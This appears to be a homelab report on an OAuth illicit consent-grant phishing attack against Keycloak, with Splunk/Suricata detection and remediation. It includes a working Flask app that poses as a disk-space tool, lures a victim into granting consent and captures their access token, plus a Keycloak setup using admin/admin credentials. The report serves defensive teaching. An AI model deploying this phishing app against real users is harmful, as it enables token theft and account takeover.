

OAuth 2.0 App Attack & Detection Lab Report

1. Introduction

This report documents an end-to-end homelab simulation of an Illicit Consent Grant / OAuth App Phishing Attack. The project demonstrates how attackers exploit trusted Identity Providers (IdPs) to bypass MFA and establish persistence, alongside detection methodologies using Suricata IDS and Splunk SIEM.

2. Network Topology & Architecture

The environment is segmented into four zones behind a central firewall:

1. **Attacker Zone (Kali Linux - 192.168.40.2):** Hosts the rogue phishing infrastructure.
2. **DMZ Zone (Ubuntu/Windows - 192.168.10.2):** The victim machine.
3. **Applications Zone (Ubuntu Server - 192.168.20.3):** Runs Keycloak Identity Provider.
4. **SIEM Zone (Splunk Host - 192.168.20.3):** Consumes Suricata logs for detection.

3. Lab Component Stack

3.1 Identity Provider (Keycloak)

Deployed Keycloak v24.0.0 via Docker as the corporate authorization server.

```
sudo docker run -d -p 8082:8080 --name keycloak \
-e KEYCLOAK_ADMIN=admin -e KEYCLOAK_ADMIN_PASSWORD=admin \
quay.io/keycloak/keycloak:24.0.0 start-dev --hostname-strict=false --http-enabled=true
```

3.2 Malicious Application (Python Flask)

A lightweight Flask app hosted on Kali Linux to initiate the malicious OAuth flow.

```
from flask import Flask, redirect, request
import requests

app = Flask(__name__)

# CONFIGURATION
KALI_IP = "192.168.40.2"
KEYCLOAK_IP = "192.168.20.3"
PORT = 8082

CLIENT_ID = "malicious-app"
REDIRECT_URI = f"http://{KALI_IP}:5000/callback"
AUTH_URL = f"http://{KEYCLOAK_IP}:{PORT}/realms/master/protocol/openid-connect/auth"
TOKEN_URL = f"http://{KEYCLOAK_IP}:{PORT}/realms/master/protocol/openid-connect/token"

@app.route('/')
def index():
    phishing_link = (
        f"{AUTH_URL}?client_id={CLIENT_ID}&redirect_uri={REDIRECT_URI}"
        f"&response_type=code&scope=openid profile email"
```

```

    )
    return f'''
    <h1>Welcome to Free Disk Space Optimizer!</h1>
    <a href="{phishing_link}">Login with Corporate Keycloak</a>
    '''

@app.route('/callback')
def callback():
    auth_code = request.args.get('code')
    payload = {
        'grant_type': 'authorization_code',
        'code': auth_code,
        'redirect_uri': REDIRECT_URI,
        'client_id': CLIENT_ID
    }
    response = requests.post(TOKEN_URL, data=payload)
    return f"CAPTURED TOKEN: {response.json().get('access_token')}"

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

```

4. Execution & Exploit Flow

1. **Phishing:** Victim visits attacker's site (http://192.168.40.2:5000).
2. **Redirection:** Victim clicks login, redirecting to legitimate Keycloak (port 8082).
3. **Consent Grant:** Victim authenticates and grants permissions to 'malicious-app'.
4. **Exfiltration:** Auth code sent to Kali. Backend swaps code for access token.

5. Detection (Splunk & Suricata)

Splunk ingests Suricata network logs to detect the illicit grant.

Incident Report Query:

```

index=* "malicious-app"
| rex field=_raw "client_id=(?<client_id>[^\s"]+)"
| rex field=_raw "src_ip\"::\"(?<src_ip>[^\"]+)"
| rex field=_raw "dest_ip\"::\"(?<dest_ip>[^\"]+)"
| table _time, src_ip, dest_ip, client_id
| sort - _time

```

6. Remediation

To mitigate this attack:

1. **Revoke Access:** Admin Panel -> Users -> Consents -> Revoke.
2. **Policy:** Enforce admin consent for all third-party apps.
3. **Monitoring:** Alert on high-privilege scope requests.